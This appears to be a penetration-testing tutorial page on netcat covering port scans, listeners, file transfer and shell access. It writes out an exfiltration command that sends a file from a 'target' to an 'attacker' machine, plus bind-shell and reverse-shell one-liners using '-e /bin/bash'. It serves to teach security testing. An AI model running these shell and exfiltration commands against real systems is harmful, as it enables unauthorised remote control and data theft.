> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/reconnaissance/active-reconnaissance-approach/net-cat-nc.md).

# Net-Cat (NC)

## **Netcat (NC) - Army Knife of Networking**

Netcat (`nc`) is a **versatile networking tool** used for **port scanning, banner grabbing, file transfers, and establishing reverse/bind shells**. It operates in both **TCP and UDP** modes and is widely used for **penetration testing and network troubleshooting**.

***

### **Syntax**

```bash
nc [options] <target_IP> <port>
```

#### **Common Options**

* `-v` → Verbose mode (shows connection details)
* `-vv` → Very verbose (more detailed output)
* `-z` → Scan mode (only checks if ports are open)
* `-n` → Do not resolve hostnames (faster scans)
* `-l` → Listen for incoming connections
* `-p` → Specify local port for connections
* `-w` → Timeout for connection attempts (in seconds)
* `-e` → Execute a command after connection (**used for shells**)

***

### **Port Scanning with Netcat**

#### **Scan a single port on a target**

```bash
nc -v -z 192.168.43.168 80
```

**Explanation:**

* `-v` → Verbose output
* `-z` → Only scan (do not send data)

#### **Scan multiple ports (range 1-100) on a target**

```bash
nc -vv -w2 -z 192.168.43.168 1-100
```

**Explanation:**

* `-vv` → Extra verbose output
* `-w2` → Set timeout to 2 seconds
* `-z` → Scan mode

***

### **Listening for Incoming Connections**

#### **Set up a listener on port 2222 (Target Machine)**

```bash
nc -nlvp 2222
```

**Explanation:**

* `-n` → No DNS resolution
* `-l` → Listen for connections
* `-v` → Verbose output
* `-p 2222` → Listen on port **2222**

#### **Connect to the listening port from another system (Attacker Machine)**

```bash
nc -v 192.168.43.168 2222
```

***

### **File Transfer Using Netcat**

Netcat can be used to transfer files between systems.

#### **Send a file from the target machine to the attacker's machine**

```bash
nc -nlvp 2222 < nctest
```

**Explanation:**

* `< nctest` → Read **nctest** file and send over the connection

#### **Receive the file on the attacker's machine**

```bash
nc -v 192.168.43.168 2222 > nctry
```

**Explanation:**

* `> nctry` → Write received data to **nctry** file

🚀 **Redirection Operators:**

* `<` → Input redirection (**read from file**)
* `>` → Output redirection (**write to file**)

***

### **Bind Shell with Netcat**

A **bind shell** allows an attacker to connect to a system and execute commands remotely.

#### **Set up a bind shell on the target machine**

```bash
nc -nlvp 2222 -e /bin/bash
```

**Explanation:**

* `-e /bin/bash` → Execute `/bin/bash` on connection

#### **Connect to the bind shell from another system**

```bash
nc -v 192.168.43.168 2222
```

⚠️ **Note:** Some modern versions of Netcat do not support `-e`. In such cases, use alternative methods like `mkfifo` or `socat`.

***

### **Reverse Shell with Netcat**

A **reverse shell** allows an attacker to connect back to their machine from the target system.

#### **Set up a listener on the attacker's machine**

```bash
nc -nlvp 2222
```

#### **Execute a reverse shell from the target machine**

```bash
nc -v 192.168.43.105 2222 -e /bin/bash
```

**Explanation:**

* The target connects back to the attacker's machine
* `-e /bin/bash` → Provides a shell access to the attacker